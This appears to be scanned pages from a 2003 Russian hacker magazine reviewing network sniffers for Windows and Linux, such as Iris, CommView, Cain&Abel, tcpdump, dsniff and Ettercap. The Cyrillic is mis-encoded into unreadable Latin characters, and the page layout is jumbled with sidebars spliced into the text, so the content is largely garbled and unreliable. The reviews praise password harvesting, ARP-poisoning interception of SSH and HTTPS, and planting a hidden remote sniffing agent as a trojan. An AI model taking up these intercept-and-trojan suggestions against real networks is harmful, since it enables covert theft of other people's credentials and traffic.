íàñòðîèòü ôàåðâîëë :). Áóäåì ñ÷è-
òàòü, ÷òî òû ñî âñåì ñïðàâèëñÿ, è ïîñ-
ìîòðèì, íàêîíåö, íà ïðîãó âáëèçè.
Ñêàæó ñðàçó, ÷òî ýòî îäèí èç ëó÷øèõ
âèíäîâûõ ñíèôôåðîâ. Êíîïî÷åê è
ìåíþøåê äîâîëüíî ìíîãî, íî íå ïó-
ãàéñÿ - êàê â íàñòîÿùåé âèíäîâîé
ïðîãå, ïîëîâèíà èç íèõ äóáëèðóåò
äðóã äðóãà :). ÈÌÕÎ, ëó÷øå âñåãî
ïîëüçîâàòüñÿ êíîïêàìè ñëåâà - òàì
âñå óäîáíî ðàçáèòî ïî ðàçäåëàì.

Þçàòü ïðîãó ïðåäåëüíî ïðîñòî:
ëåçåì â ôèëüòðû è çàäàåì íóæíûå
ïàðàìåòðû (à íå òî óòîíåøü â ïàêå-
òàõ, îñîáåííî â áîëüøîé ñåòè). Îï-
öèé òàì ìíîãî: IP è MAC àäðåñà,
ïîðòû, òèïû ïàêåòîâ, êëþ÷åâûå ñëî-
âà è hex-ïîñëåäîâàòåëüíîñòè. Åñòü
è íåñêîëüêî ãîòîâûõ ôèëüòðîâ òèïà
äëÿ ïî÷òû, http, ftp è äðóãèõ ñòàíäà-
ðòíûõ ñåðâèñîâ. Äàííûå ìîæíî
ñðàçó ïèñàòü â ëîãè (êàê â âèäå ïà-
êåòîâ, òàê è â ðàñêîäèðîâàííîì âè-
äå). Âñå. Æìåøü "Play", à êîãäà íà-

áåðåòñÿ äîñòàòî÷íî ïàêåòîâ, êëàöà-
åøü "Decode". Èðèñêà ðàñêèäàåò ïà-
êåòû ïî ñåññèÿì, ñãðóïïèðóåò ïî àä-
ðåñó, è ìîæíî áóäåò ïîñìîòðåòü,
÷òî êóäà ïåðåäàâàëîñü.

Ôè÷à ïîä íàçâàíèå Guard - ýòî
òîò æå ìîíèòîð ïîäêëþ÷åíèé, òîëü-
êî áîëåå ãëîáàëüíûé: îí ñëåäèò íå
òîëüêî çà òâîèì êîìïîì, íî è çà
âñåé ïîäñåòüþ (äëÿ àäìèíîâ ìîæåò
áûòü ïîëåçíî).

Íà îñíîâå ïîëó÷åííûõ ïðè çàõâàòå
äàííûõ ñïåöèàëüíî äëÿ ëþáîçíà-
òåëüíûõ Iris ìîæåò ñîçäàâàòü ðàç-
ëè÷íûå òèïû ãðàôèêîâ è îò÷åòîâ
(ìíå, íàïðèìåð, áûëî èíòåðåñíî, êòî
áîëüøå âñåõ ôëóäèò ìîþ ñåòü :)). Íó
è äëÿ ðåàëüíûõ ÷åëîâ åñòü âîçìîæ-
íîñòü ñàìîìó ñîçäàâàòü è îòñûëàòü
ïàêåòû. Åñëè èíòåðåñíî, ó÷è ïðîòî-
êîëû è ñòàíåøü digital god :). Íó, è
äëÿ ñàìûõ õîçÿéñòâåííûõ åñòü ïëà-
íèðîâùèê çàäàíèé.

COMMVIEW 4.0
www.tamos.com

Åùå îäèí îòëè÷íûé ñíèôôåð, ê òî-
ìó æå ñ ðóññêèì èíòåðôåéñîì (âûñ-
òàâëÿåòñÿ â íàñòðîéêàõ)! Íà ñàéòå

SOFT/ÇÀÍÞÕÈÂÀÅÌ Â ÎÊÎØÊÀÕ
O

S
û

 4
ha

ck

page 072 07(32) 2003

ÇÀÍÞÕÈÂÀÅÌ 
Â ÎÊÎØÊÀÕ

Kirion (Kirion@winfo.org)

Ò

ÎÁÇÎÐ ÑÍÈÔÔÅÐÎÂ ÏÎÄ WINDOWS

Windump (win-
dump.polito.it) è
Ettercap (etter-
cap.source-
forge.net) - ýòî
ïîðòû èçâåñò-
íûõ êîíñîëü-
íûõ *nix ñíèô-
ôåðîâ. 

Ïðî WinPcap
ìîæíî ïî÷èòàòü
íà www.chere-
povets-
city.ru/inse-
cure/reading/pap
ers/bpf_unix.htm

Iris - îäèí èç ëó÷øèõ ñíèôôåðîâ ïîä Win



êîìïàíèè åñòü åùå ïàðà î÷åíü ëþ-
áîïûòíûõ ïðîã: CommView for WiFi
- ñíèôôåð, çàòî÷åííûé ïîä áåñï-
ðîâîäíûå ñåòè (íèêòî íå õî÷åò åùå
íåìíîãî ïîçàíèìàòüñÿ âàð÷îêîì?),
è CommView remote agent - ïðîãà,
ñîçäàþùàÿ ÷òî-òî âðîäå ìîñòà äëÿ
ñíèôôèíãà ìåæäó ñåòÿìè. Òî åñòü
â ëîêàëêå ñòîèò remote agent è ïå-
ðåäàåò âñå äàííûå íà ñåðâåð
(îáû÷íûé ñíèôôåð CommView).
Îòêðûâàþòñÿ íåïëîõèå ãîðèçîíòû,
ïðàâäà? Îñîáåííî, åñëè remote
agent ìîæíî áûëî áû çàêèíóòü â
âèäå òðîÿíà :). Òåì áîëåå ÷òî
CommView ìîæíî çàïóñòèòü â ðå-
æèìå íåâèäèìêè (cv.exe hidden, â
Win2k/XP, åñòåñòâåííî, âèäåí â
ïðîöåññàõ). ×òîáû ïðèêîííåêòèòü-
ñÿ ê óäàëåííîìó àãåíòó, çàéäè â
File>Remote Monitoring Mode. Êñòà-
òè, åñëè òåáå âäðóã ïðîñòî ïîíàäî-
áèëîñü ïåðåíàïðàâèòü êóäà-íèáóäü

äàííûå èç ñíèôôåðà (íàïðèìåð, â
äðóãîå ïðèëîæåíèå), ìîæíî îáîé-
òèñü è áåç àãåíòà. Çàãëÿíè â ðàçäåë
Exchanging Data with Your
Application ìàíóàëà.

CommView ïîääåðæèâàåò ðàáîòó
èç êîìàíäíîé ñòðîêè, õîòÿ âèçóàëü-
íûé èíòåðôåéñ ó íåãî ïðîñòîé è
óäîáíûé. Íà îäíîé çàêëàäêå âûâî-
äÿòñÿ âñå ñîåäèíåíèÿ, íà äðóãîé -
âñå ïàêåòû. Ïðàâäà, ìíå íå ïîíðà-
âèëîñü, ÷òî ïîêàçûâàåòñÿ òîëüêî
hex-ñîäåðæèìîå ïàêåòà è åãî ñâîé-
ñòâà, à äëÿ òîãî ÷òîáû ïîñìîòðåòü
ñîäåðæèìîå ñåññèè â ÷åëîâå÷åñêîì
âèäå, ïðèäåòñÿ âûáðàòü íóæíûé ïà-
êåò è â êîíòåêñòíîì ìåíþ êëèêíóòü
"Reconstructing TCP Sessions". Â Iris
ýòî ñäåëàíî óäîáíåå.

Åñòåñòâåííî, ìîæíî çàäàòü
ôèëüòðû (çäåñü îíè íàçûâàþòñÿ
ïðàâèëàìè), ïðè÷åì åñòü âîçìîæ-
íîñòü âåøàòü ôèëüòð äàæå íà ôëà-
ãè TCP. Èìåþòñÿ è óíèâåðñàëüíûå
ôîðìóëû, ïîñòðîåííûå íà ëîãè÷åñ-
êèõ âûðàæåíèÿõ. À åùå â
CommView ðåàëèçîâàí äîñòàòî÷íî
íàâîðî÷åííûé ìåõàíèçì ïðåäóï-
ðåæäåíèé (åñëè âñå ïðàâèëüíî
íàñòðîèòü, òû íèêîãäà íå ïðîïóñ-

òèøü íóæíûå ïàêåòû, ìîæíî äàæå
ïðèñûëàòü àëÿðìó íà ìûëî :)).

Ðåàëèçîâàí â ïðîãå è ãåíåðàòîð
ïàêåòîâ (ïî-ìîåìó, óäîáíåå, ÷åì â
Iris), è ðàçäåë ñòàòèñòèêè ñ ãåíåðà-
òîðîì îò÷åòîâ (îò÷åò ìîæíî ãåíåðè-
ðîâàòü íà ðóññêîì!). Íó è íà âñÿêèé
ñëó÷àé - áàçà NIC ïî ïðîèçâîäèòå-
ëÿì ñåòåâóõ è ïðîñòîé øåäóëåð.

CAIN&ABEL 2.5 BETA
www.oxid.it

Íè÷åãî íàçâàíèå, äà ;)? Abel - ýòî
NT-ñåðâèñ, ïðåäñòàâëÿþùèé ñîáîé
óäàëåííóþ êîíñîëü äëÿ Cain (ôèøêó
ñî ñíèôôèíãîì óäàëåííîãî òðàô-
ôèêà îáåùàþò âêëþ÷èòü ïîçæå). À
Cain... ýòî íå ïðîñòî ñíèôôåð. Ýòî
âåñüìà ìîùíàÿ è ìíîãîôóíêöèî-
íàëüíàÿ òóëçà äëÿ âçëîìà. Çà÷åì çà-
ìîðà÷èâàòüñÿ ñ ðàñêîäèðîâêîé ïàêå-
òîâ - íàì ïàðîëè ñðàçó âûäàþò :). À
åùå åñòü òàêàÿ ôèøêà, êàê ARP poi-

son routing, ïîçâîëÿþùàÿ ñíèôôàòü
íà ñâè÷àõ! (Äëÿ òåõ, êòî â òàíêå: õà-
áû ïîñûëàþò ïàêåòû âñåì, ïîýòîìó
ñíèôôàòü ëåãêî, ñâèò÷è æå ïîñûëà-
þò ïàêåòû íà êîíêðåòíûé àäðåñ.) Íà
ñàéòå äàæå åñòü ôëýøêà, îïèñûâàþ-
ùàÿ ýòó òåõíîëîãèþ :)
(http://www.oxid.it/downloads/apr-
intro.swf). À óâèäåë çàêëàäî÷êè
ïîä íàçâàíèåì "ARP-SSH" è "ARP-
HTTPS", è ìíå ñòàëî ïëîõî. Åñëè
ýòî åùå è ðàáîòàåò :)... Íî åñëè òå-
áå íóæåí ñíèôôåð êàê òóëçà äëÿ
äèàãíîñòèêè ñåòè, ïðèäåòñÿ, âèäè-
ìî, èñêàòü ÷òî-íèáóäü äðóãîå. À âîò
åñëè òåáå íóæíî "ñïåðåòü ïàðîëåé,
äà ïîáîëüøå :)" - â ñàìûé ðàç. Òåì
áîëåå ÷òî ïðîãà åùå è ìíîãîôóíê-
öèîíàëüíûé âçëîìùèê ïàðîëåé: îò

pwl è LM-hash äî òàêîé ýêçîòèêè,
êàê Cisco PIX è VNC. Ìèíóñîâ ó ïðî-
ãè âñåãî äâà, íî äîñòàòî÷íî ñåðüåç-
íûå. Âî-ïåðâûõ, ýòî áåòà è íå âñå
ôóíêöèè åùå ðàáîòàþò. À âî-âòî-
ðûõ, äîêóìåíòàöèþ îáåùàþò ñäå-
ëàòü òîëüêî ê âûõîäó ôèíàëüíîé
âåðñèè. À áåç äîêîâ ïîðîé ïðîáëå-
ìàòè÷íî ðàçáèðàòüñÿ :(.

ÏÅÐÅÁÅÆ×ÈÊÈ
À òåïåðü ïîãîâîðèì íåìíîãî ïðî
Win32 ïîðòû èçâåñòíûõ íèêñîâûõ
ñíèôôåðîâ. Ïåðâûì ó íàñ áóäåò
Ethereal (www.ethereal.com). Äîëãî
ÿ äóìàë, ïî÷åìó ïðè òàêîì óðîäñêîì
èíòåðôåéñå è, â îáùåì-òî, íå âïå-
÷àòëÿþùåé ôóíêöèîíàëüíîñòè îí
âåñèò 10 ìåãîâ? Ê òîìó æå íåïîíÿò-
íûå òîðìîçà ïðè îïðåäåëåíèè èìåí
õîñòîâ. Íó äà, ìû óìååì çàõâàòû-
âàòü òðàôôèê. È äàæå ðàñøèôðî-
âûâàòü. È äàæå ñòðîèòü íåêðàñèâûå
÷åðíî-áåëûå ãðàôèêè, è äàæå âûäà-
âàòü êîå-êàêóþ ñòàòèñòèêó. Òîëüêî
çà÷åì ýòî âñå íóæíî ïîä Âèíäû? Íó
ðàçâå ÷òî ðàäè áåñïëàòíîñòè (GNU,
êàê íèêàê). Windump (windump.poli-
to.it) è Ettercap (ettercap.source-
forge.net) - ýòî êîíñîëüíûå ïðîãè.
Äàëüøå ïðîäîëæàòü :)? Windump -
ýòî ïîðò TcpDump âåñüìà ïðîñòîãî
êîíñîëüíîãî ñíèôôåðà. Òóò òåáå
ïðèäåòñÿ ïî ïîëíîé ìó÷àòüñÿ ñ êëþ-
÷àìè êîìàíäíîé ñòðîêè è ïðî÷èì. À
âîò Ettercap - ýòî óæå íàìíîãî èíòå-
ðåñíåå. Õîòü ïðîãà è êîíñîëüíàÿ, ó
íåå åñòü èíòåðàêòèâíûé ðåæèì (òå-
áå íå ïðèäåòñÿ ìó÷àòüñÿ ñ ôëàãà-
ìè). Áîëåå òîãî, â Ettercap åñòü APR
(ñì. âûøå), âîçìîæíîñòü ñíèôôàòü
êðèïòîâàííûé òðàôôèê (ñ íåêîòî-
ðûìè îãðàíè÷åíèÿìè). Êðîìå òîãî,
ìîæíî ñêàíèðîâàòü õîñòû è îïðåäå-
ëÿòü âåðñèþ ÎÑ. Åñòü è ïîääåðæêà
ïëàãèíîâ. Ýõ, áûë áû åùå è íîð-
ìàëüíûé èíòåðôåéñ...

GOTO TESTING?
Âîò âðîäå è âñå ïðîãè, êîòîðûå ÿ
íàðûë â ñåòè çà ïàðó ÷àñîâ :). Åñòü,
êîíå÷íî, è äðóãèå (ZxSinffer,
NetSniffer, etc), íî ýòè ïîêàçàëèñü
ìíå íàèáîëåå èíòåðåñíûìè. Íó, à
òåïåðü ñàìîå âðåìÿ ïåðåâåðíóòü
ñòðàíèöó è ïðèñòóïèòü ê òåñòèðîâà-
íèþ â óñëîâèÿõ, ïðèáëèæåííûõ ê
áîåâûì :).

E
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Äëÿ Âèíäû åñòü áèáëèîòåêà WinPcap,
ïîçâîëÿþùàÿ ðåàëèçîâàòü ìíîæåñòâî

äîñòóïíûõ òîëüêî *nix'àì ôóíêöèé, â òîì
÷èñëå è íàïèñàíèå ñíèôôåðîâ.

Åñëè ïîëüçó-
åøüñÿ ñíèôôå-

ðàìè - íå çà-
áûâàé êà÷àòü

ñâåæóþ âåðñèþ
WinPcap ñ 

winpcap.polito.it

Ïîêà íå âûø-
ëà äîêóìåíòà-

öèÿ äëÿ
Cain&Abel, ìî-

æåøü ïî÷è-
òàòü FAQ íà
www.oxid.it/

cain_faq.html

Cain&Abel. Òóëçà äëÿ ìåãàêóëõàöêåðîâ :) È ðàäè ýòîãî êà÷àòü 10 ìåãîâ?!

Ñäåëàéòå æå êòî-íèáóäü íîðìàëüíûé èí-

òåðôåéñ ê ýòîé çàìå÷àòåëüíîé ïðîãå!

CommView - ïî÷åòíîå âòîðîå ìåñòî :)



Òû, íàâåðíîå, íå ðàç ñëûøàë î òàêîì ñðåäñòâå àíàëèçà ñåòåâîãî òðàôèêà, êàê ñíèô-
ôåðû. È åñëè òû óæå èñïîëüçîâàë ñíèôôåð â Âèíäå, òî ó òåáÿ âîçíèêàåò âîïðîñ, êà-
êèå ñíèôôåðû ñóùåñòâóþò äëÿ òâîåé íîâîé îñè.

ñëè æå òû äî ñèõ ïîð
íå çíàåøü, ÷òî ýòî òà-
êîå, òî äëÿ íà÷àëà

íåñêîëüêî ñëîâ î òîì, ÷òî òàêîå
ñíèôôåð è êàê îí ðàáîòàåò.

ÕÓ ÈÇ ÔÀÊÈÍ ÑÍÈÔÔÅÐ?
Ñíèôôåð � ïðîãðàììà, ïîçâîëÿþ-
ùàÿ ïðîñìàòðèâàòü ïàêåòû, ïðîõî-
äÿùèå ÷åðåç ñåòåâîé èíòåðôåéñ (â
Linux ýòî ppp, eth, lo).

Â ñëó÷àå ppp (ìîäåìíîå ñîåäèíå-
íèå) òû ïðîñòî áóäåøü âèäåòü âñå
ïàêåòû, êîòîðûå ïðîøëè îò òåáÿ (ê
òåáå) äî ïðîâàéäåðà.

Åñëè æå òâîé êîìï íàõîäèòñÿ â
ëîêàëêå, òî òâîé èíòåðôåéñ íàâåð-
íÿêà eth. Â íîðìàëüíîì ðåæèìå ñå-
òåâàÿ êàðòà ïðèíèìàåò ïàêåòû,
ïðåäíàçíà÷åííûå òîëüêî äëÿ íåå,
ïîýòîìó òû áóäåøü âèäåòü òîëüêî
ñâîè ñîáñòâåííûå ïàêåòû. Íî
ñíèôôåð íå áûë áû ñíèôôåðîì,
åñëè áû ó ñåòåâîé êàðòû íå áûëî
çàìå÷àòåëüíîé âîçìîæíîñòè ïåðå-
õîäèòü â íåðàçáîð÷èâûé ðåæèì
(promiscuous mode), â êîòîðîì îíà
ïðèíèìàåò âñå ïàêåòû ïîäðÿä.
Ñíèôôåð ïåðåâîäèò ñåòåâóþ êàðòó
â promiscuous mode, è òû ìîæåøü
âèäåòü âñå ïàêåòû, èäóùèå â òâîåé
ñåòêå, à ñëåäîâàòåëüíî, ïåðåõâà-
òèòü âàæíûå äàííûå, íàïðèìåð,
ïî÷òîâûå ñîîáùåíèÿ, ïàðîëè îò
àñüêè è ïðî÷óþ ïîëåçíóþ èíôó.

Äàâàé ðàññìîòðèì, êàêèå ñíèô-
ôåðû åñòü äëÿ ïðàâèëüíîé îñè.

TCPDUMP
http://www.tcpdump.org

Ïîæàëóé, ïåðâûé ñíèôôåð äëÿ
Linux. Åñòü â ëþáîì äèñòðèáóòèâå,
òàê ÷òî èñêàòü òåáå åãî íå ïðèäåò-
ñÿ. Åñëè æå ïîëó÷èëîñü, ÷òî ó òåáÿ
ïî êàêèì-òî ïðè÷èíàì îí îòñóòñòâó-
åò, çàéäè íà ñàéò è êà÷íè åãî èñõîä-
íèêè.

Ïðîñòåéøèé ñïîñîá çàïóñêà � êî-
ìàíäà "tcpdump" â êîìàíäíîé ñòðî-
êå. Tcpdump íà÷íåò ñëóøàòü àêòèâ-
íûé ñåòåâîé èíòåðôåéñ. ßâíî óêà-
çàòü èíòåðôåéñ ìîæíî îïöèåé "-i"
ïðè çàïóñêå. Tcpdump ïîêàçûâàåò
òîëüêî çàãîëîâêè ïàêåòîâ, èäóùèõ
â ñåòè â ôîðìå:

08:13:52.458097 217.24.177.165.ssh >
217.24.177.161.950: P 182360:182700(340) ack
29 win 17520 [tos 0x10]
08:13:52.458315 217.24.177.161.950 >
217.24.177.165.ssh: . ack 182700 win 17520
(DF) [tos 0x10]
08:13:52.490050 217.24.177.165.21037 >
aldem.net.4090: . ack 14572 win 8760 (DF)

Ðàññìàòðèâàÿ çàãîëîâêè ïàêåòîâ
÷åðåç Tcpdump, òû ñìîæåøü èçó-
÷èòü õàðàêòåð òðàôèêà òâîåé ñåòêè
â ðåàëüíîì âðåìåíè. Ñ ïîìîùüþ
Tcpdump î÷åíü ïðîñòî îáíàðóæèòü
ïîïûòêè ñêàíèðîâàíèÿ, òû ñðàçó
óâèäèøü áîëüøîå êîëè÷åñòâî ëå-
âûõ ïàêåòîâ, èäóùèõ íà òåáÿ.

Tcpdump ïîçâîëÿåò ñîçäàâàòü
âûðàæåíèÿ äëÿ ïðèåìà ïàêåòîâ
òîëüêî îïðåäåëåííîãî âèäà. Ïðîñ-
òåéøèé ïðèìåð:

tcpdump tcp port 80

Çäåñü ïàðàìåòð "tcp" óêàçûâàåò íà
òî, ÷òî íóæíî ëîâèòü òîëüêî TCP ïà-
êåòû, îïöèÿ "port 80" óêàçûâàåò, ÷òî
íóæíî ëîâèòü ïàêåòû, èäóùèå (èñõî-
äÿùèå) íà ïîðò 80 òâîåé òà÷êè. Î
ñîçäàíèè áîëåå ñëîæíûõ âûðàæåíèé
îòëè÷íî íàïèñàíî â man tcpdump.

Tcpdump � ýòî èíñòðóìåíò äëÿ èñ-
ñëåäîâàíèÿ ðàáîòû ñåòè. Ðåêîìåí-
äóåòñÿ èñïîëüçîâàòü â ñî÷åòàíèè ñ
óìíîé êíèæêîé ïî ñåòåâûì ïðîòî-
êîëàì. Íå çàáûâàé, ÷òî äëÿ ðàáîòû
ñ ñåòåâûìè èíòåðôåéñàìè íåîáõî-
äèìû ïðèâèëåãèè ñóïåðïîëüçîâàòå-
ëÿ, ïîýòîìó çàïóñêàé ñíèôôåð ñ
ïðàâàìè root.

Ïîìíè, ÷òî áåç ñîîòâåòñòâóþùèõ
çíàíèé ñåòåâûõ ïðîòîêîëîâ òû íè-
êîãäà íå ñìîæåøü èñïîëüçîâàòü
âñå âîçìîæíîñòè äàæå ïðîñòåéøå-
ãî ñíèôôåðà.

SNIFFIT
http://sniffit.rug.ac.be/~coder

/sniffit/sniffit.html
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Óøàêîâ Àíäðåé 
aka A-nd-Y (Andy_@timus.ru)

Å

ÂÛÁÅÐÈ ÑÅÁÅ ËÓ×ØÈÉ ÑÍÈÔÔÅÐ

Åñëè òû ðåøèë
âñåðüåç çàíÿòü-
ñÿ èçó÷åíèåì
ñåòåâûõ ïðîòî-
êîëîâ, ðåêîìåí-
äóþ íà÷àòü ñ
TCP/IP, ãëÿíü íà
http://docs.can-
tata.kiev.ua/net-
working/TCP/,
çäåñü òû íàé-
äåøü ìíîãî ïî-
ëåçíîé èíôû

Äîïîëíèòåëüíó
þ èíôó ïî
ñíèôôåðàì, 
à òàêæå äðóãèì
ñåòåâûì
ïðèìî÷êàì
èùè íà ñàéòå
http://www.i2r.ru

Tcpdump: æèçíü ñåòè êàê åñòü

Èíòåðàêòèâíûé ðåæèì ðàáîòû Sniffit.

Ïðîñòî è èíôîðìàòèâíî



Ñíèôôåð äëÿ ïðàâèëüíîé îñè ñ õî-
ðîøèì íàáîðîì ôóíêöèé. Åñòü âî
ìíîãèõ äèñòðèáóòèâàõ, íî â ñâîåé
ñâàëêå ÿ åãî íå îáíàðóæèë :-). Åñëè
ó òåáÿ åãî íåò, êà÷àé àðõèâ ñ ñàéòà
è èíñòàëü. Ïðèìåð çàïóñêà ïðîã-
ðàììû:

sniffit -F eth0 -P tcp -p 6667

Ñíèôôàåì âåñü òðàôèê IRC â ñåò-
êå: îïöèÿ "-F" çàäàåò óñòðîéñòâî,
êîòîðîå íóæíî ñëóøàòü, "-P" � íóæ-
íûé ïðîòîêîë, "-p" � íóæíûé ïîðò.

Ñðåäè âîçìîæíîñòåé ñíèôôåðà
åñòü îòëîâ ïàðîëåé mail, http, icq,
áàç äàííûõ, âîçìîæíîñòü ðàáîòû
êàê ñ ãðàôè÷åñêèì èíòåðôåéñîì â
èíòåðàêòèâíîì ðåæèìå, îñíîâàí-
íîì íà ncurses (îïöèÿ -i), òàê è áåç
íåãî, èñïîëüçîâàíèå ñïåöèàëüíûõ
êîíôèãóðàöèîííûõ ôàéëîâ ñ ïðà-
âèëàìè ôèëüòðàöèè, ðàáîòà ñ ppp è

eth èíòåðôåéñàìè, à òàêæå âîç-
ìîæíîñòü íàñòðîéêè äëÿ äðóãèõ èí-
òåðôåéñîâ.

Sniffit � óäîáíûé, ñáàëàíñèðîâàí-
íûé ïî âîçìîæíîñòÿì ñíèôôåð
ïîä Linux. Ìíîãèå ëþäè èñïîëüçó-
þò èìåííî åãî è î÷åíü äîâîëüíû.

ETHEREAL
http://www.ethereal.com

Õîðîøèé ñíèôôåð ñ ïîëíîñòüþ
ãðàôè÷åñêèì (gtk) èíòåðôåéñîì
(äëÿ êîãî-òî ýòî ìîæåò áûòü ìèíó-
ñîì). Îáëàäàåò âñåìè íåîáõîäèìû-
ìè ôóíêöèÿìè ñíèôôåðà: ïîääåð-
æèâàåò ìíîæåñòâî ïðîòîêîëîâ,
óâèäåòü ïîëíûé ñïèñîê êîòîðûõ
ìîæíî â äèàëîãå "Edit" >
"Protocols...". Òàì æå ìîæíî è îòê-
ëþ÷èòü âñå, ÷òî òåáå íå íóæíî.
Åñòü âîçìîæíîñòü ñîçäàâàòü âåñü-
ìà ãèáêèå ôèëüòðû, ÷òîáû ïðîñ-
ìàòðèâàòü òîëüêî íóæíûå òåáå ïà-
êåòû.

Ïîðàäîâàëî, ÷òî ethereal, ïîìèìî
eth èíòåðôåéñà, ïîääåðæèâàåò òàê-
æå ppp è lo.

Â Ethereal åñòü õîðîøàÿ âîçìîæ-
íîñòü, êîòîðàÿ îáîçíà÷àåòñÿ êàê
"Follow TCP STREAM". Îíà ïîçâî-
ëÿò îáúåäèíèòü ïåðåõâà÷åííûå
ïàêåòû è ïðåäîñòàâèòü èõ â âèäå
ãîòîâîãî ïèñüìà èëè html ñòðà-
íè÷êè.

Ethereal � åäèíñòâåííûé èç ðàñ-
ñìàòðèâàåìûõ ïðîã ñíèôôåð ñ
óäîáíûì ãðàôè÷åñêèì èíòåðôåé-
ñîì è, ïîæàëóé, íàèáîëüøèì êîëè-
÷åñòâîì ïîääåðæèâàåìûõ ïðîòîêî-
ëîâ. Îí ïðîñò â îñâîåíèè è èñïîëü-
çîâàíèè, ê òîìó æå ïðèñóòñòâóåò
ïîäðîáíûé man.

DSNIFF
http://www.monkey.org/~dug-

song/dsniff/
Îòíîñèòåëüíî ïðîñòîé ñíèôôåð.
Çàäóìûâàëñÿ êàê ñíèôôåð ïàðî-
ëåé è ñðåäñòâî äëÿ îòëàäêè ñåòåé.
Ïîääåðæèâàåò íàèáîëåå ðàñïðîñò-
ðàíåííûå ïðîòîêîëû TCP: HTTP,
POP, FTP, AIM, ICQ, SOCKS, SNMP,
NFS è äðóãèå. Ñàì ïî ñåáå Dsniff íå

ÿâëÿåòñÿ ïîëíîôóíêöèîíàëüíûì
ñíèôôåðîì, íî â ñîñòàâå äèñòðè-
áóòèâà åñòü äîïîëíèòåëüíûå ñåòå-
âûå óòèëèòû, êîòîðûå ïðèçâàíû
äîïîëíÿòü âîçìîæíîñòè ïðîãðàì-
ìû. Ñðåäè ýòèõ óòèëèò arpspoof �
ïåðåíàïðàâëåíèå òðàôèêà ñ îäíîãî
õîñòà íà äðóãîé ïîñðåäñòâîì ëîæ-
íûõ ARP-îòâåòîâ, filesnarf � ñíèô-
ôåð NFS, macof � MAC-ñïóôôèíã,
mailsnarf � ñíèôô ïî÷òîâûõ ñîîá-
ùåíèé, sshmitm � ñíèôô SSH òðà-
ôèêà (ïîääåðæèâàåò òîëüêî SSH
ïåðâîãî ïðîòîêîëà) è íåêîòîðûå
äðóãèå (man ñòðàíè÷êà åñòü ïî
êàæäîé óòèëèòå).

Àðõèâ âåñèò âñåãî 124 ÊÁ, òàê ÷òî
ìîæåøü ñêà÷àòü è ïîïðîáîâàòü.
Èíñòàëëÿöèÿ òðåáóåò Berkeley DB,
OpenSSL, libpcap, libnids, libnet, òàê
÷òî ïîçàáîòüñÿ, ÷òîáû îíè ó òåáÿ
áûëè (ñîîòâåòñòâóþùèå ñàéòû óêà-
çàíû â README).

Dsniff � íåïëîõîå ñðåäñòâî äëÿ
îïðåäåëåííûõ ñåòåâûõ çàäà÷.

ETTERCAP
http://ettercap.sourceforge.net

Îòëè÷íûé ñíèôôåð, ðàáîòàåò êàê
ïîä óïðàâëåíèåì Ëèíóêñ, òàê è
ìíîãèõ äðóãèõ nix ñèñòåì. Îáúåäè-
íÿåò â ñåáå êàê ôóíêöèè ñíèôôå-
ðà, òàê è íåêîòîðîãî ñåòåâîãî ñðåä-
ñòâà ñ íàáîðîì ïîëåçíûõ âîçìîæ-
íîñòåé. Èìååò âñå áàçîâûå ôóíê-
öèè ñíèôôåðà, à òàêæå ìíîæåñòâî
îðèãèíàëüíûõ, òàêèõ êàê çàäàíèå
ðàçëè÷íûõ ðåæèìîâ ðàáîòû äëÿ íà-
èìåíüøåé âåðîÿòíîñòè îáíàðóæå-
íèÿ â ñåòè, ïîääåðæêà ïëàãèíîâ è
íàëè÷èå ñîáñòâåííîãî èíòåðôåéñà
äëÿ èõ ðàçðàáîòêè.

Ñðåäè ïëàãèíîâ (âñåãî èõ 28)
leech � ïîëíàÿ èçîëÿöèÿ çàäàííîãî
õîñòà, H00_lurker � ñðåäñòâî îáíà-
ðóæåíèÿ äðóãîãî Ettercap â òâîåé
ñåòè, imp � îïðåäåëåíèå èìåí net-
bios, golem � DOS àòàêà, shadow �
ïðîñòîé SYN/TCP ñêàííåð. Ïëàãè-
íîâ ìíîãî, ïîëíûé ñïèñîê è êðàò-
êîå îïèñàíèå ìîæåøü ïîñìîòðåòü,
çàïóñòèâ ettercap ñ îïöèåé "-p list".

Â Ettercap åñòü î÷åíü óäîáíàÿ îï-
öèÿ "-C" � íåïîñðåäñòâåííûé ñáîð
ïàðîëåé è âûâîä ïîëó÷åííîé èí-
ôîðìàöèè â óäîáíîé ôîðìå: âçàè-
ìîäåéñòâóþùèå õîñòû, ëîãèí, ïà-
ðîëü. Îïöèÿ "-f" ïîçâîëÿåò îïðåäå-
ëèòü óäàëåííóþ îñü ñ èñïîëüçîâà-
íèåì îòïå÷àòêîâ èç áàçû nmap.
Åñòü âîçìîæíîñòü èñïîëüçîâàíèÿ
ïñåâäîãðàôè÷åñêîãî (ncurses) èí-
òåðôåéñà äëÿ áîëåå óäîáíîãî åãî
þçàíüÿ.

Ïðîñòåéøèé çàïóñê îñóùåñòâëÿ-
åòñÿ êîìàíäîé "ettercap" (çàïóñêà-
åòñÿ èíòåðàêòèâíûé ðåæèì ñ ãðà-
ôè÷åñêèì èíòåðôåéñîì). Ïåðåä òî-
áîé ïîÿâëÿåòñÿ îêíî Ettercap ñî
ñïèñêîì äîñòóïíûõ êîìïîâ â äâà
ñòîëáöà. Âûáèðàé íóæíûå òåáå àä-
ðåñà ïðîñòûì ùåë÷êîì ïî íèì.
Âûáðàâ õîñòû, íóæíî çàäàòü
äåéñòâèå äëÿ ñíèôôåðà. Äîñòóï-
íûå äåéñòâèÿ ìîæíî óâèäåòü, íà-
æàâ F1.

Íå ïîíðàâèëîñü òî, ÷òî îòñóòñòâó-
åò ïîääåðæêà äðóãèõ óñòðîéñòâ,
êðîìå eth. Íà ppp, êîíå÷íî, ñíèô-
ôàòü íå÷åãî, êðîìå ñîáñòâåííîãî
òðàôèêà, íî ìàëî ëè ÷òî ìîæåò ïî-
íàäîáèòüñÿ, äà è èñïîëüçîâàíèå
ñíèôôåðà â ó÷åáíûõ öåëÿõ íèêòî
íå çàïðåùàë.

Ettercap, áëàãîäàðÿ ìíîæåñòâó
ïëàãèíîâ è îðèãèíàëüíûõ âîçìîæ-
íîñòåé, íàèáîëåå ìîùíîå ñåòåâîå
ñðåäñòâî èç ïðåäñòàâëåííûõ â îá-
çîðå.

Êàê âèäèøü, âûáðàòü åñòü èç ÷å-
ãî, óâåðåí, ÷òî ïîëîâèíà èç ïåðå-
÷èñëåííûõ ñðåäñòâ óæå åñòü â òâî-
åì äèñòðèáóòèâå ïðàâèëüíîé îñè.
Òåáå îñòàåòñÿ ëèøü îñâîèòü ïîíðà-
âèâøèéñÿ ñíèôôåð, è òû ñìîæåøü
